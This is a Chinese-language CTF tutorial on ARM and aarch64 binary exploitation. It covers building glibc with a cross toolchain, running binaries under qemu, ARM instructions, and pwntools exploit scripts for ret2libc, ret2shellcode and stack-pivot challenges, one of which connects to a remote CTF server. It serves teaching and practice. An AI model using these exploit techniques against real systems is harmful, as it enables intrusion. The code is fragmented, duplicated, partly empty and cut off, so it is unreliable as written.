一般我们说的arm
是ARMv7
架构,是32
位,而aarch64
是ARMv8
架构,也就是64
位。
ARM
软件包的安装:
在一般的CTF
比赛中,arm & aarch64
架构的题所给的libc
都是glibc
,当然也有少部分比赛所给的libc
是uclibc
或musl-libc
,这点和x86_64
架构下的题是一样的。
题目所给的libc
一般是不带函数符号和调试符号的,而ARM
架构也不像x86_64
架构一样,可以把带符号的deb
包(如libc6-dbg_2.31-0ubuntu9.2_amd64.deb
)解压后放在与不带符号的libc
同目录下的.debug
文件夹中,调试的时候就可以自动加载符号了。
当然,我们也可以下载arm
对应的带符号的deb
包,然后在pwndbg
中用add-symbol-file
命令手动加载符号,但是那样太麻烦了。
所以,我们最好自己编译出对应版本的libc
,就可以带符号并且进行源码级调试了,然而,我们一般用的都是x86_64
架构,而我们现在需要编译出ARM
架构下的libc
,自然就不能用原先自带的x86_64
架构下的gcc/g++
进行编译了,而是需要进行交叉编译,也就需要相应的交叉编译工具链,这里我使用的是linaro
公司维护的工具链。
源码建议在这里下载:glibc_source_code
交叉编译的工具链下载:arm aarch64
进行交叉编译的命令如下:
1. arm
2. aarch64
需要注意的是,我们交叉编译出来的libc
会将绝对路径硬编码进去(开-fPIC
编译选项不知道能不能写相对路径进去,可以试试),所以编译后libc
所在路径是不能变动的,但是我们可以将libc
所在的地址软链接到题目文件夹下,如:ln -s .../glibc-2.31/aarch64/lib ./lib
。
比如设置的--prefix
是.../glibc-2.31/aarch64
,也就是我们最后make install
后编译出的文件都存放在这个目录下,其实只需要保留其中的lib
文件夹中与libc
和ld
相关的文件及其软链接就够了(也就四个文件),其他的都可以删掉,如果不需要源码级调试,源码也都可以删掉(其实这里建议大家只保留一些常用的源码文件夹即可)。
然后就是安装qemu
了,因为我们无法x86_64
架构下直接运行ARM
架构的二进制文件,所以需要在qemu
所模拟出的环境中跑,其实对qemu
版本要求不高,直接apt
一行安装即可:sudo apt-get install qemu-user qemu-system
。
还有,我们调试ARM
架构的时候需要gdb-multiarch
,也是用apt
一行安装即可:sudo apt-get install gdb-multiarch
。
我们需要用qemu
来运行所给的二进制文件,下面给出启动脚本和调试脚本:
1. start.sh
如果是arm
架构,则是qemu-arm
。
如果不需要调试,而是直接运行,则去掉-g
选项。
如果是运行静态编译的文件,则去掉-L
选项。
上面-L ./
中的./
代表重置的当前根目录。
一般来说,所给的二进制文件所需要的libc
和ld
文件都被硬编码在其中的,所需的libc
地址基本都是/lib/libc.so.6
,所需的ld
地址也都是/lib/ld-...so..
这种,都需要从/lib
,也就是根目录下的lib
文件夹中去寻找。
因此,若是我们当前目录下有所需的lib
文件夹,那么根目录就要被设置为./
,也就是当前目录。
2. gdb.sh
我这里将常用的源码文件夹移动了位置(不在编译libc
的原目录下了),所以需要用dir
命令重定位一下源码。
以上只是简单的说一说,更具体的可以自行查阅相关资料。
先说说qemu
吧,在CTF
比赛中,绝大多数ARM
架构的题都是在qemu
模拟出的环境中跑的,而qemu
有些不太安全的特性,比如它没有地址的随机化,也没有NX
保护,即使题目所给的二进制文件开了NX
和PIE
保护,也只是对真机环境奏效,而在qemu
中跑的时候,仍然相当于没有这些保护,也就是说,qemu
中所有地址都是有可执行权限的(包括堆栈,甚至bss
段等),然后libc_base
和elf_base
每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base
这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。
再来说说arm
和aarch64
架构的一些常用的汇编指令集:
arm
架构下的寄存器和x86_64
架构还是有很大区别的,其中R0 ~ R3
是用来依次传递参数的,相当于x64
下的rdi, rsi, rdx
,R0
还被用于存储函数的返回值,R7
常用来存放系统调用号,R11
是栈帧,相当于ebp
,在arm
中也被叫作FP
,相应地,R13
是栈顶,相当于esp
,在arm
中也被叫作SP
,R14(LP)
是用来存放函数的返回地址的,R15
相当于eip
,在arm
中被叫作PC
,但是在程序运行的过程中,PC
存储着当前指令往后两条指令的位置,在arm
架构中并不是像x86_64
那样用ret
返回,而是直接pop {PC}
。
在arm
中的ldr
和str
指令是必须清楚的,其中ld
就是load
(加载),st
就是store
(存储),而r
自然就是register
(寄存器),搞明白这些以后,这两个指令就很容易理解了(cond
为条件):
LDR {cond} Rd, <addr>
:加载指定地址(addr
)上的数据(字),放入到Rd
寄存器中。
STR {cond} Rd, <addr>
:将Rd
寄存器中的数据(字)存储到指定地址(addr
)中。
当然,这两个指令有很多种写法,灵活多变:
str r2, [r1, #2]
:寄存器r2
中的值被存放到寄存器r1
中的地址加2
处的地址中,r1
寄存器中的值不变;
str r2, [r1, #2]!
:与上一条一样,不过最后r1 += 4
,这里的{!}
是可选后缀,若选用该后缀,则表示请求回写,也就是当数据传送完毕之后,将最后的地址写入到基址寄存器(Rn
)中;
ldr r2, [r1], #-2
:将r1
寄存器里地址中的值给r2
寄存器,最后r1 -= 2
;
上面的立即数或者寄存器也类似,此外还可以有这些写法:
str r2, [r1, r3, LSL#2]
:将寄存器r2
中的值存储到寄存器r1
中的地址加上r3
寄存器中的值左移两位后的值所指向的地址中;
ldr r2, [r1], r3, LSL#2
:将r1
寄存器里地址中的值给r2
寄存器,最后r1 += r3 << 2
.
在arm
中仍有mov
指令,通常用于寄存器与寄存器间的数据传输,也可以传递立即数。
mov r1, #0x10
:r1 = 0x10
mov r1, r2
:r1 = r2
mov r1, r2, LSL#2
:r1 = r2 << 2
由此可见,ldr
和str
指令通常用于寄存器与内存间的数据传递,其中会通过另一个寄存器作为中介,而mov
指令则是通常用于两个寄存器之间数值的传递。
此外,还有数据块传输指令LDM, STM
,具体请参考:arm汇编指令之数据块传输(LDM,STM)详解。
其中提到了STMFD
和LDMFD
指令,可用作压栈和弹栈,如STMFD SP! ,{R0-R7,LR}
和LDMFD SP! ,{R0-R7,LR}
,但是在我们拿到的CTF
题目中,常见的仍是push {}
和pop {}
指令。
还需要知道的是add
和sub
命令:
add r1, r2, #2
相当于 r1 = r2 + 2
;
sub r1, r2, r3
相当于 r1 = r2 - r3
.
还有跳转指令B
相关的一些指令,相当于jmp
:
B Label
:无条件跳转到Label
处;
BL Label
:当程序跳转到标号Label
处执行时,同时将当前的PC
值保存到R14
中;
BX Label
:这里需要先提一下arm
指令压缩形式的子集Thumb
指令了,不像是arm
指令是一条四个字节,Thumb
指令一条两个字节,arm
对应的cpu
工作状态位为0
,而Thumb
对应的cpu
工作状态位为1
,我们从其中一个指令集跳到另外一个指令集的时候,需要同时修改其对应的cpu
工作状态位,不然会报invalid instrument
错误,当BX
后面的地址值最后一个bit
为1
时,则转为Thumb
模式,否则转为arm
模式,直接pop {pc}
这样跳转也有这种特性;
BLX Label
:就是BL + BX
指令共同作用的效果。
位运算命令:and orr eor
分别是 按位与、或、异或。
aarch64
和arm
架构相比,还是有一些汇编指令上的区别的:
首先仍是寄存器,在64
位下都叫作Xn
寄存器了,其对应的低32
位叫作Wn
寄存器,其中栈顶是X31(SP)
寄存器,栈帧是X29(FP)
寄存器,X0 ~ X7
用来依次传递参数,X0
存放着函数返回值,X8
常用来存放系统调用号或一些函数的返回结果,X32
是PC
寄存器,X30
存放着函数的返回地址(aarch64
中的RET
指令返回X30
寄存器中存放的地址)。
然后是跳转指令,仍有B
,BL
指令,新增了BR
指令(向寄存器中的地址跳转),BLR
组合指令。
还有一些带判断的跳转指令:b.ne
是不等则跳转,b.eq
是等于则跳转,b.le
是大于则跳转,b.ge
是小于则跳转,b.lt
是大于等于则跳转,b.gt
是小于等于则跳转,cbz
为结果等于零则跳转,cbnz
为结果非零则跳转...
在aarch64
架构下的一大变化就是,不再使用push
和pop
指令压栈和弹栈了,也没有LDM
和STM
指令,而是使用STP
和LDP
指令:
STP x4, x5, [sp, #0x20]
:将sp+0x20
处依次覆盖为x4,x5
,即x4
入栈到sp+0x20
,x5
入栈到sp+0x28
,最后sp
的位置不变。
LDP x29, x30, [sp], #0x40
:将sp
弹栈到x29
,sp+0x8
弹栈到x30
,最后sp += 0x40
。
其中,STP
和LDP
中的P
是pair
(一对)的意思,也就是说,仅可以同时读/写两个寄存器。
基本来说,常用的就是以上的命令,但是arm
和aarch64
的命令远远不止以上这些,希望各位读者自行查阅相关资料进行学习。
【附】系统调用号:
基于arm架构的linux系统调用号
基于aarch64架构的linux系统调用号
这部分就不准备细说了,因为这些题目难的可能只是对arm
和aarch64
架构不太熟悉,漏洞点和利用方式都和x86_64
架构差不多,且利用手法也没有x86_64
架构下那么花里胡哨,看看exp
基本也就都清楚了。
静态编译的程序,也就不需要动态链接库了,因此libc
中的system
和/bin/sh
字符串在所给的二进制文件中自然是有的,不过所给的二进制文件去除了符号表,我们不容易找到它们的位置。
这里建议先用IDA
的Rizzo
插件修复符号表,就可以清楚地看到system
函数的位置了,不然用交叉引用来找的话比较麻烦。
Rizzo 的 Github 项目地址
一个ret2libc
...
需要注意的是,调用puts
后,最后会进入write
,但是并不是从头开始调用write
函数的,我们知道,当进入一个函数的时候,会先push {}
一串寄存器,再在该函数返回时,pop {}
对应的寄存器,使得栈恢复到进入该函数前的状态,而这里由于从puts
中走到write
的时候,不是从头开始执行的,因此不会有前面push {}
的过程,但是最后会有pop {}
的发生,故会导致write
返回的时候栈恢复不到原先的样子,因此,需要压进去一些垃圾数据来使栈恢复。
我本地和远程的libc
版本不同,所以需要压进去的垃圾数据的个数也不同,这个需要自行调试,也体现出带符号表调试的必要性。
一个ret2shellcode
...
我都是手撸shellcode
,这里svc 0
相当于int 0x80 / syscall
,在程序运行中,pc
寄存器指向当前指令后两条指令的位置。
观察以下这段汇编代码段:
可以知道,read
读入的源地址是由R11
(相当于ebp
)控制的,这点和x86_64
架构下也是类似的。
因此,我们可以控制R11
寄存器进行二次读入,将shellcode
读入到bss
段上,然后直接打过去就行(因为qemu
所有地址都是可执行的,自然包括bss
段)。
其实这个题若是qemu
环境跑的话,任意地址都是有可执行权限的,所以直接ret2shellcode
就能通:
但是这样就很没意思了,我们就把他当作真机的环境,需要我们用mprotect
赋予bss
段可执行权限,这样就是一个aarch64
架构下的ret2csu
了,不过和x86_64
架构下的差不多,这里也就不多做分析了。
gadget 1 :
gadget 2 :
注:shellcode
中的xzr
是清零寄存器。
我是写了个栈迁移(stack pivot
),其实方法有很多。
观察到下面这个gadget
:
很容易想到,可以通过控制R11
寄存器进行栈迁移。
这里也用到了上面InCTF-2018 wARMup
一题所利用的方式,先将gadget
读到了bss
段上,然后再栈迁移过去。
需要注意一些细节,比如迁移到的地址需要在bss
段的基础上抬高一段距离等等。
由于alias
索引没清空,导致了UAF
,即使是qemu
模拟的环境,本地和远程环境下固定的libc_base
也会不一样,因此最好还是先泄露libc_base
。
arm
架构下很简单的一道堆题,漏洞点就在switch
没有default
卡住,导致可以继续向下执行,继而可以弄出double free
。
arm
架构下的堆题,不过这题的libc
不是glibc
了,而是uclibc
,其实在这道题中没什么区别,一样的做就可以了,有堆溢出漏洞,又没有PIE
,于是打一个unsafe unlink
即可,很容易。
aarch64
架构下的堆,很明显有一个off by null
,简单构造利用一下即可。
需要注意的是aarch64
架构下的libc
泄露,由于跑qemu
的时候,libc_base
一般都是0x4000XXX000
这样的地址,因此泄露数据的时候会被\x00
截断,其实只需要泄露后三个字节(后六位),然后加上0x4000000000
即可得到泄露出的libc
地址。
sudo apt
-
get install gcc
-
arm
-
linux
-
gnueabi
sudo apt
-
get install gcc
-
aarch64
-
linux
-
gnu
sudo apt
-
get install gcc
-
arm
-
linux
-
gnueabi
sudo apt
-
get install gcc
-
aarch64
-
linux
-
gnu
cd ...
/
glibc
-
2.31
mkdir arm
mkdir build
cd build
CC
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_arm
-
linux
-
gnueabihf
/
bin
/
arm
-
linux
-
gnueabihf
-
gcc \
CXX
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_arm
-
linux
-
gnueabihf
/
bin
/
arm
-
linux
-
gnueabihf
-
g
+
+
\
CFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
CXXFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
..
/
configure \
-
-
prefix
=
...
/
glibc
-
2.31
/
arm \
-
-
host
=
arm
-
linux \
-
-
target
=
arm
-
linux \
-
-
disable
-
werror
make
make install
cd ...
/
glibc
-
2.31
mkdir arm
mkdir build
cd build
CC
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_arm
-
linux
-
gnueabihf
/
bin
/
arm
-
linux
-
gnueabihf
-
gcc \
CXX
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_arm
-
linux
-
gnueabihf
/
bin
/
arm
-
linux
-
gnueabihf
-
g
+
+
\
CFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
CXXFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
..
/
configure \
-
-
prefix
=
...
/
glibc
-
2.31
/
arm \
-
-
host
=
arm
-
linux \
-
-
target
=
arm
-
linux \
-
-
disable
-
werror
make
make install
cd ...
/
glibc
-
2.31
mkdir aarch64
mkdir build
cd build
CC
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_aarch64
-
linux
-
gnu
/
bin
/
aarch64
-
linux
-
gnu
-
gcc \
CXX
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_aarch64
-
linux
-
gnu
/
bin
/
aarch64
-
linux
-
gnu
-
g
+
+
\
CFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
CXXFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
..
/
configure \
-
-
prefix
=
...
/
glibc
-
2.31
/
aarch64 \
-
-
host
=
aarch64
-
linux \
-
-
target
=
aarch64
-
linux \
-
-
disable
-
werror
make
make install
cd ...
/
glibc
-
2.31
mkdir aarch64
mkdir build
cd build
CC
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_aarch64
-
linux
-
gnu
/
bin
/
aarch64
-
linux
-
gnu
-
gcc \
CXX
=
...
/
gcc
-
linaro
-
7.5
.
0
-
2019.12
-
x86_64_aarch64
-
linux
-
gnu
/
bin
/
aarch64
-
linux
-
gnu
-
g
+
+
\
CFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
CXXFLAGS
=
"-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
\
..
/
configure \
-
-
prefix
=
...
/
glibc
-
2.31
/
aarch64 \
-
-
host
=
aarch64
-
linux \
-
-
target
=
aarch64
-
linux \
-
-
disable
-
werror
make
make install
qemu
-
aarch64 \
-
g
1234
\
-
L .
/
.
/
pwn
qemu
-
aarch64 \
-
g
1234
\
-
L .
/
.
/
pwn
gdb
-
multiarch
-
q \
-
ex
"file ./pwn"
\
-
ex
"b ..."
\
-
ex
"dir .../glibc-source/2.31/stdio-common"
\
-
ex
"dir .../glibc-source/2.31/stdlib"
\
-
ex
"dir .../glibc-source/2.31/libio"
\
-
ex
"dir .../glibc-source/2.31/malloc"
\
-
ex
"target remote :1234"
\
-
ex
"c"
gdb
-
multiarch
-
q \
-
ex
"file ./pwn"
\
-
ex
"b ..."
\
-
ex
"dir .../glibc-source/2.31/stdio-common"
\
-
ex
"dir .../glibc-source/2.31/stdlib"
\
-
ex
"dir .../glibc-source/2.31/libio"
\
-
ex
"dir .../glibc-source/2.31/malloc"
\
-
ex
"target remote :1234"
\
-
ex
"c"
from
pwn
import
*
context(os
=
"linux"
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm ./pwn"
, shell
=
True
)
gadget_addr
=
0x20904
bin_sh_addr
=
0x6c384
system_addr
=
0x110B4
io.send(b
'\n'
)
payload
=
b
'a'
*
0x70
+
p32(gadget_addr)
+
p32(bin_sh_addr)
+
p32(
0
)
+
p32(system_addr)
io.send(payload)
io.interactive()
from
pwn
import
*
context(os
=
"linux"
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm ./pwn"
, shell
=
True
)
gadget_addr
=
0x20904
bin_sh_addr
=
0x6c384
system_addr
=
0x110B4
io.send(b
'\n'
)
payload
=
b
'a'
*
0x70
+
p32(gadget_addr)
+
p32(bin_sh_addr)
+
p32(
0
)
+
p32(system_addr)
io.send(payload)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./lib/libc-2.27.so"
)
def
check(height, weight):
io.sendlineafter(
"Type the number:"
, b
'1'
)
io.sendlineafter(
"Your height(meters) : "
,
str
(height))
io.sendlineafter(
"Your weight(kilograms) : "
,
str
(weight))
def
PT(size):
io.sendlineafter(
"Type the number:"
, b
'3'
)
io.sendlineafter(
"How long do you want to take personal training?\n"
,
str
(size))
def
write_diary(payload):
io.sendlineafter(
"Type the number:"
, b
'4'
)
io.send(payload)
def
quit():
io.sendlineafter(
"Type the number:"
, b
'6'
)
if
__name__
=
=
'__main__'
:
check(
233
,
233
)
PT(
-
1
)
pop_r0_pc
=
0x11bbc
payload
=
b
'a'
*
0x54
+
p32(pop_r0_pc)
+
p32(elf.got[
'puts'
])
+
p32(elf.plt[
'puts'
])
+
p32(
0
)
*
3
+
p32(elf.sym[
'main'
])
write_diary(payload)
quit()
io.recvuntil(
"See you again :)\n"
)
libc.address
=
u32(io.recv(
4
))
-
libc.sym[
'puts'
]
success(
"libc_base:\t"
+
hex
(libc.address))
check(
233
,
233
)
PT(
-
1
)
payload
=
b
'a'
*
0x54
+
p32(pop_r0_pc)
+
p32(
next
(libc.search(b
'/bin/sh'
)))
+
p32(libc.sym[
'system'
])
write_diary(payload)
quit()
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./lib/libc-2.27.so"
)
def
check(height, weight):
io.sendlineafter(
"Type the number:"
, b
'1'
)
io.sendlineafter(
"Your height(meters) : "
,
str
(height))
io.sendlineafter(
"Your weight(kilograms) : "
,
str
(weight))
def
PT(size):
io.sendlineafter(
"Type the number:"
, b
'3'
)
io.sendlineafter(
"How long do you want to take personal training?\n"
,
str
(size))
def
write_diary(payload):
io.sendlineafter(
"Type the number:"
, b
'4'
)
io.send(payload)
def
quit():
io.sendlineafter(
"Type the number:"
, b
'6'
)
if
__name__
=
=
'__main__'
:
check(
233
,
233
)
PT(
-
1
)
pop_r0_pc
=
0x11bbc
payload
=
b
'a'
*
0x54
+
p32(pop_r0_pc)
+
p32(elf.got[
'puts'
])
+
p32(elf.plt[
'puts'
])
+
p32(
0
)
*
3
+
p32(elf.sym[
'main'
])
write_diary(payload)
quit()
io.recvuntil(
"See you again :)\n"
)
libc.address
=
u32(io.recv(
4
))
-
libc.sym[
'puts'
]
success(
"libc_base:\t"
+
hex
(libc.address))
check(
233
,
233
)
PT(
-
1
)
payload
=
b
'a'
*
0x54
+
p32(pop_r0_pc)
+
p32(
next
(libc.search(b
'/bin/sh'
)))
+
p32(libc.sym[
'system'
])
write_diary(payload)
quit()
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
remote(
"node4.buuoj.cn"
,
26999
)
io.sendlineafter(
"Give me data to dump:\n"
, b
'leak'
)
shellcode_addr
=
int
(io.recv(
10
),
16
)
success(
"shellcode_addr:\t"
+
hex
(shellcode_addr))
io.sendlineafter(
"Dump again (y/n):\n"
, b
'y'
)
shellcode
=
asm(
)
payload
=
shellcode.ljust(
0xa4
, b
'\x00'
)
+
p32(shellcode_addr)
io.sendlineafter(
"Give me data to dump:\n"
, payload)
io.sendlineafter(
"Dump again (y/n):\n"
, b
'n'
)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
remote(
"node4.buuoj.cn"
,
26999
)
io.sendlineafter(
"Give me data to dump:\n"
, b
'leak'
)
shellcode_addr
=
int
(io.recv(
10
),
16
)
success(
"shellcode_addr:\t"
+
hex
(shellcode_addr))
io.sendlineafter(
"Dump again (y/n):\n"
, b
'y'
)
shellcode
=
asm(
)
payload
=
shellcode.ljust(
0xa4
, b
'\x00'
)
+
p32(shellcode_addr)
io.sendlineafter(
"Give me data to dump:\n"
, payload)
io.sendlineafter(
"Dump again (y/n):\n"
, b
'n'
)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
payload
=
b
'a'
*
0x64
+
p32(elf.bss()
+
0x68
)
+
p32(
0x1052C
)
io.send(payload)
shellcode
=
asm(
)
payload
=
shellcode.ljust(
0x68
, b
'\x00'
)
+
p32(elf.bss())
io.send(payload)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'arm'
, log_level
=
'debug'
)
io
=
process(
"qemu-arm -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
payload
=
b
'a'
*
0x64
+
p32(elf.bss()
+
0x68
)
+
p32(
0x1052C
)
io.send(payload)
shellcode
=
asm(
)
payload
=
shellcode.ljust(
0x68
, b
'\x00'
)
+
p32(elf.bss())
io.send(payload)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'aarch64'
, log_level
=
'debug'
)
io
=
process(
"qemu-aarch64 -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
shellcode_addr
=
0x411068
shellcode
=
asm(
)
io.sendafter(
"Name:"
, shellcode)
payload
=
b
'a'
*
0x48
+
p64(shellcode_addr)
io.send(payload)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'aarch64'
, log_level
=
'debug'
)
io
=
process(
"qemu-aarch64 -L ./ ./pwn"
, shell
=
True
)
elf
=
ELF(
"./pwn"
)
shellcode_addr
=
0x411068
shellcode
=
asm(
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-12-9 11:57
被winmt编辑
,原因: (手滑